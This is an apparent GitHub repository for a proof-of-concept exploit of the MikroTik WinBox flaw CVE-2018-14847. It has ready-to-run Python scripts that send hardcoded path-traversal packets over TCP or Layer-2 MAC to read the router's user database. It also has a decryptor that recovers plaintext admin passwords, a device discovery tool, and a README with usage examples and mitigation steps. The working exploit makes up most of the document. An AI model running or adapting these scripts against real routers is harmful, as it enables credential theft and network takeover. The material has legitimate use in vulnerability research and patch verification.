├── MACServerDiscover.py ├── LICENSE ├── .gitignore ├── extract_user.py ├── README.md ├── WinboxExploit.py └── MACServerExploit.py /MACServerDiscover.py: -------------------------------------------------------------------------------- 1 | import socket, binascii, threading, time 2 | 3 | # MAC server discovery by BigNerd95 4 | 5 | search = True 6 | devices = [] 7 | 8 | def discovery(sock): 9 | global search 10 | while search: 11 | sock.sendto(b"\x00\x00\x00\x00", ("255.255.255.255", 5678)) 12 | time.sleep(1) 13 | 14 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 15 | sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) 16 | sock.bind(("0.0.0.0", 5678)) 17 | 18 | threading.Thread(target=discovery, args=(sock,)).start() 19 | 20 | print("Looking for Mikrotik devices (MAC servers)\n") 21 | 22 | while search: 23 | try: 24 | data, addr = sock.recvfrom(1024) 25 | if b"\x00\x01\x00\x06" in data: 26 | start = data.index(b"\x00\x01\x00\x06") + 4 27 | mac = data[start:start+6] 28 | 29 | if mac not in devices: 30 | devices.append(mac) 31 | 32 | #print(addr[0]) 33 | print('\t' + ':'.join('%02x' % b for b in mac)) 34 | print() 35 | except KeyboardInterrupt: 36 | search = False 37 | break 38 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 مرکز تخصصی آپا دانشگاه بوعلی سینا 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | MANIFEST 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | .pytest_cache/ 49 | 50 | # Translations 51 | *.mo 52 | *.pot 53 | 54 | # Django stuff: 55 | *.log 56 | local_settings.py 57 | db.sqlite3 58 | 59 | # Flask stuff: 60 | instance/ 61 | .webassets-cache 62 | 63 | # Scrapy stuff: 64 | .scrapy 65 | 66 | # Sphinx documentation 67 | docs/_build/ 68 | 69 | # PyBuilder 70 | target/ 71 | 72 | # Jupyter Notebook 73 | .ipynb_checkpoints 74 | 75 | # pyenv 76 | .python-version 77 | 78 | # celery beat schedule file 79 | celerybeat-schedule 80 | 81 | # SageMath parsed files 82 | *.sage.py 83 | 84 | # Environments 85 | .env 86 | .venv 87 | env/ 88 | venv/ 89 | ENV/ 90 | env.bak/ 91 | venv.bak/ 92 | 93 | # Spyder project settings 94 | .spyderproject 95 | .spyproject 96 | 97 | # Rope project settings 98 | .ropeproject 99 | 100 | # mkdocs documentation 101 | /site 102 | 103 | # mypy 104 | .mypy_cache/ 105 | -------------------------------------------------------------------------------- /extract_user.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys, hashlib 4 | 5 | def decrypt_password(user, pass_enc): 6 | key = hashlib.md5(user + b"283i4jfkai3389").digest() 7 | 8 | passw = "" 9 | for i in range(0, len(pass_enc)): 10 | passw += chr(pass_enc[i] ^ key[i % len(key)]) 11 | 12 | return passw.split("\x00")[0] 13 | 14 | def extract_user_pass_from_entry(entry): 15 | user_data = entry.split(b"\x01\x00\x00\x21")[1] 16 | pass_data = entry.split(b"\x11\x00\x00\x21")[1] 17 | 18 | user_len = user_data[0] 19 | pass_len = pass_data[0] 20 | 21 | username = user_data[1:1 + user_len] 22 | password = pass_data[1:1 + pass_len] 23 | 24 | return username, password 25 | 26 | def get_pair(data): 27 | 28 | user_list = [] 29 | 30 | entries = data.split(b"M2")[1:] 31 | for entry in entries: 32 | try: 33 | user, pass_encrypted = extract_user_pass_from_entry(entry) 34 | except: 35 | continue 36 | 37 | pass_plain = decrypt_password(user, pass_encrypted) 38 | user = user.decode("ascii") 39 | 40 | user_list.append((user, pass_plain)) 41 | 42 | return user_list 43 | 44 | def dump(data): 45 | user_pass = get_pair(data) 46 | for u, p in user_pass: 47 | print("User:", u) 48 | print("Pass:", p) 49 | print() 50 | 51 | if __name__ == "__main__": 52 | if len(sys.argv) == 2: 53 | if sys.argv[1] == "-": 54 | user_file = sys.stdin.buffer.read() 55 | else: 56 | user_file = open(sys.argv[1], "rb").read() 57 | dump(user_file) 58 | 59 | else: 60 | print("Usage:") 61 | print("\tFrom file: \t", sys.argv[0], "user.dat") 62 | print("\tFrom stdin:\t", sys.argv[0], "-") 63 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # WinboxExploit 2 | This is a proof of concept of the critical WinBox vulnerability (CVE-2018-14847) which allows for arbitrary file read of plain text passwords. 3 | 4 | ## Blogpost 5 | https://n0p.me/winbox-bug-dissection/ 6 | 7 | ## Requirements 8 | - Python 3+ 9 | 10 | This script will NOT run with Python 2.x or lower. 11 | 12 | ## How To Use 13 | The script is simple used with simple arguments in the commandline. 14 | 15 | #### WinBox (TCP/IP) 16 | Exploit the vulnerability and read the password. 17 | ``` 18 | python3 WinboxExploit.py [PORT] 19 | ``` 20 | Example: 21 | ``` 22 | $ python3 WinboxExploit.py 172.17.17.17 23 | Connected to 172.17.17.17:8291 24 | Exploit successful 25 | User: admin 26 | Pass: Th3P4ssWord 27 | ``` 28 | 29 | #### MAC server WinBox (Layer 2) 30 | You can extract files even if the device doesn't have an IP address. 31 | 32 | Simple discovery check for locally connected Mikrotik devices. 33 | ``` 34 | python3 MACServerDiscover.py 35 | ``` 36 | Example: 37 | ``` 38 | $ python3 MACServerDiscover.py 39 | Looking for Mikrotik devices (MAC servers) 40 | 41 | aa:bb:cc:dd:ee:ff 42 | 43 | aa:bb:cc:dd:ee:aa 44 | ``` 45 | 46 | Exploit the vulnerability and read the password. 47 | ``` 48 | python3 MACServerExploit.py 49 | ``` 50 | Example: 51 | ``` 52 | $ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff 53 | 54 | User: admin 55 | Pass: Th3P4ssWord 56 | ``` 57 | 58 | ## Vulnerable Versions 59 | All RouterOS versions from 2015-05-28 to 2018-04-20 are vulnerable to this exploit. 60 | 61 | Mikrotik devices running RouterOS versions: 62 | 63 | - Longterm: 6.30.1 - 6.40.7 64 | - Stable: 6.29 - 6.42 65 | - Beta: 6.29rc1 - 6.43rc3 66 | 67 | For more information see: https://blog.mikrotik.com/security/winbox-vulnerability.html 68 | 69 | ## Mitigation Techniques 70 | - Upgrade the router to a RouterOS version that include the fix. 71 | - Disable the WinBox service on the router. 72 | - You can restricct access to the WinBox service to specific IP-addresses wtih the following: 73 | ``` 74 | /ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16 75 | ``` 76 | - You may use some Filter Rules (ACL) to deny external access to the WinBox service: 77 | ``` 78 | /ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop 79 | ``` 80 | - Limiting access to the mac-winbox service can be done by specifing allowed interfaces: 81 | ``` 82 | /tool mac-server mac-winbox 83 | ``` 84 | 85 | ## Copyright 86 | - Sponsered by Iran's CERTCC(https://certcc.ir). All rights resereved. 87 | -------------------------------------------------------------------------------- /WinboxExploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import socket 4 | import sys 5 | from extract_user import dump 6 | 7 | 8 | a = [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00, 9 | 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07, 10 | 0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21, 11 | 0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 12 | 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 13 | 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 14 | 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66, 15 | 0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f, 16 | 0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73, 17 | 0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00, 18 | 0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 19 | 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88, 20 | 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 21 | 0x00, 0x00] 22 | 23 | b = [0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00, 24 | 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01, 25 | 0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08, 26 | 0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09, 27 | 0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00, 28 | 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 29 | 0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00, 30 | 0x00, 0x02, 0x00, 0x00, 0x00] 31 | 32 | 33 | 34 | if __name__ == "__main__": 35 | if len(sys.argv) < 2 or (len(sys.argv) == 3 and not str.isdigit(sys.argv[2])) or len(sys.argv) > 3: 36 | print("Usage: python3 WinboxExploit.py IP_ADDRESS [PORT]") 37 | exit() 38 | 39 | ip = sys.argv[1] 40 | port = 8291 41 | if len(sys.argv) == 3: 42 | port = int(sys.argv[2]) 43 | 44 | #Initialize Socket 45 | s = socket.socket() 46 | s.settimeout(3) 47 | try: 48 | s.connect((ip, port)) 49 | except Exception as e: 50 | print("Connection error: " + str(e)) 51 | exit() 52 | 53 | #Convert to bytearray for manipulation 54 | a = bytearray(a) 55 | b = bytearray(b) 56 | 57 | #Send hello and recieve the sesison id 58 | s.send(a) 59 | try: 60 | d = bytearray(s.recv(1024)) 61 | except Exception as e: 62 | print("Connection error: " + str(e)) 63 | exit() 64 | 65 | #Replace the session id in template 66 | b[19] = d[38] 67 | 68 | #Send the edited response 69 | s.send(b) 70 | d = bytearray(s.recv(1024)) 71 | 72 | #Get results 73 | print("Connected to " + ip + ":" + str(port)) 74 | if len(d[55:]) > 25: 75 | print("Exploit successful") 76 | dump(d[55:]) 77 | else: 78 | print("Exploit failed") 79 | -------------------------------------------------------------------------------- /MACServerExploit.py: -------------------------------------------------------------------------------- 1 | import threading, socket, struct, time, sys, binascii 2 | from extract_user import dump 3 | 4 | # MAC server Winbox exploit by BigNerd95 (and mosajjal) 5 | 6 | a = bytearray([0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00, 7 | 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07, 8 | 0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21, 9 | 0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f, 10 | 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 11 | 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 12 | 0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66, 13 | 0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f, 14 | 0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73, 15 | 0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00, 16 | 0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 17 | 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88, 18 | 0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00, 19 | 0x00, 0x00]) 20 | 21 | b = bytearray([0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00, 22 | 0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01, 23 | 0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08, 24 | 0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09, 25 | 0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00, 26 | 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 27 | 0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00, 28 | 0x00, 0x02, 0x00, 0x00, 0x00]) 29 | 30 | class MikrotikMACClient(): 31 | 32 | START = 0 33 | DATA = 1 34 | ACK = 2 35 | END = 255 36 | PROTO_VERSION = 1 37 | CLIENT_TYPE = 0x0F90 38 | SESSION_ID = 0x1234 39 | ADDR = ("255.255.255.255", 20561) 40 | HEADLEN = 22 41 | VERBOSE = False 42 | 43 | def __init__(self, mac): 44 | self.session_bytes_sent = 0 45 | self.session_bytes_recv = 0 46 | self.source_mac = b"\xff\xff\xff\xff\xff\xff" # put mac of your pc if mikrotik is not responding 47 | self.dest_mac = mac 48 | 49 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 50 | self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) 51 | self.sock.bind(('', 0)) 52 | 53 | self.buffer = [] 54 | self.work = True 55 | self.connected = False 56 | self.rm = threading.Thread(target=self.__recv_manager__) 57 | self.rm.start() 58 | 59 | self.__send_init__() 60 | 61 | def __recv_manager__(self): 62 | while self.work: 63 | data, _ = self.sock.recvfrom(1024*64) 64 | self.__parse_packet__(data) 65 | 66 | def __buffer_pop__(self): 67 | while not self.buffer and self.connected: 68 | time.sleep(0.005) 69 | return self.buffer.pop(0) 70 | 71 | def __parse_packet__(self, data): 72 | _, packet_type = struct.unpack(">BB", data[:2]) 73 | session_id, _, session_bytes = struct.unpack(">HHI", data[14:self.HEADLEN]) 74 | 75 | if packet_type == self.DATA: 76 | self.__print__("New DATA") 77 | self.session_bytes_recv += len(data) - self.HEADLEN 78 | self.__send_ack__() 79 | 80 | self.buffer.append(data[self.HEADLEN:]) 81 | self.connected = True 82 | 83 | elif packet_type == self.ACK: 84 | self.__print__("New ACK") 85 | self.connected = True 86 | self.session_bytes_sent = session_bytes 87 | elif packet_type == self.END: 88 | self.__print__("End session") 89 | self.connected = False 90 | self.work = False 91 | self.__send_ack__() 92 | else: 93 | self.__print__("Unknown packet") 94 | self.__print__(data) 95 | 96 | self.__print__("ID:", session_id, "Bytes:", session_bytes) 97 | 98 | if len(data) > self.HEADLEN: 99 | self.__print__("Data:", data[self.HEADLEN:]) 100 | 101 | self.__print__() 102 | 103 | def __send_ack__(self): 104 | self.sock.sendto(self.__build_packet__(self.ACK), self.ADDR) 105 | 106 | def __send_data__(self, data): 107 | self.sock.sendto(self.__build_packet__(self.DATA, data), self.ADDR) 108 | 109 | def __send_end__(self): 110 | self.sock.sendto(self.__build_packet__(self.END), self.ADDR) 111 | 112 | def __send_init__(self): 113 | self.sock.sendto(self.__build_packet__(self.START), self.ADDR) 114 | while not self.connected: 115 | time.sleep(0.005) 116 | 117 | def __build_packet__(self, packet_type, data=b""): 118 | header = struct.pack(">BB", 119 | self.PROTO_VERSION, 120 | packet_type 121 | ) 122 | header += self.source_mac 123 | header += self.dest_mac 124 | header += struct.pack(">HHI", 125 | self.SESSION_ID, 126 | self.CLIENT_TYPE, 127 | self.session_bytes_sent if packet_type == self.DATA else self.session_bytes_recv 128 | ) 129 | return header + data 130 | 131 | def __print__(self, *msg): 132 | if self.VERBOSE: 133 | print(*msg) 134 | 135 | def send(self, data): 136 | self.__send_data__(data) 137 | 138 | def recv(self, minlen=None, contains=None): 139 | d = self.__buffer_pop__() 140 | 141 | while (minlen and len(d) < minlen) or (contains and contains not in d): 142 | d = self.__buffer_pop__() 143 | 144 | return d 145 | 146 | def close(self): 147 | self.work = False 148 | self.__send_end__() 149 | 150 | if __name__ == "__main__": 151 | if len(sys.argv) > 1: 152 | mac = binascii.unhexlify(sys.argv[1].replace(':', '')) 153 | 154 | m = MikrotikMACClient(mac) 155 | 156 | m.send(a) 157 | b[19] = m.recv(minlen=39)[38] # set correct session id 158 | 159 | m.send(b) 160 | dump(m.recv(contains=b"\x11\x00\x00\x21")) 161 | 162 | m.close() 163 | 164 | else: 165 | print("Usage: " + sys.argv[0] + " MAC_ADDRESS") 166 | 167 | --------------------------------------------------------------------------------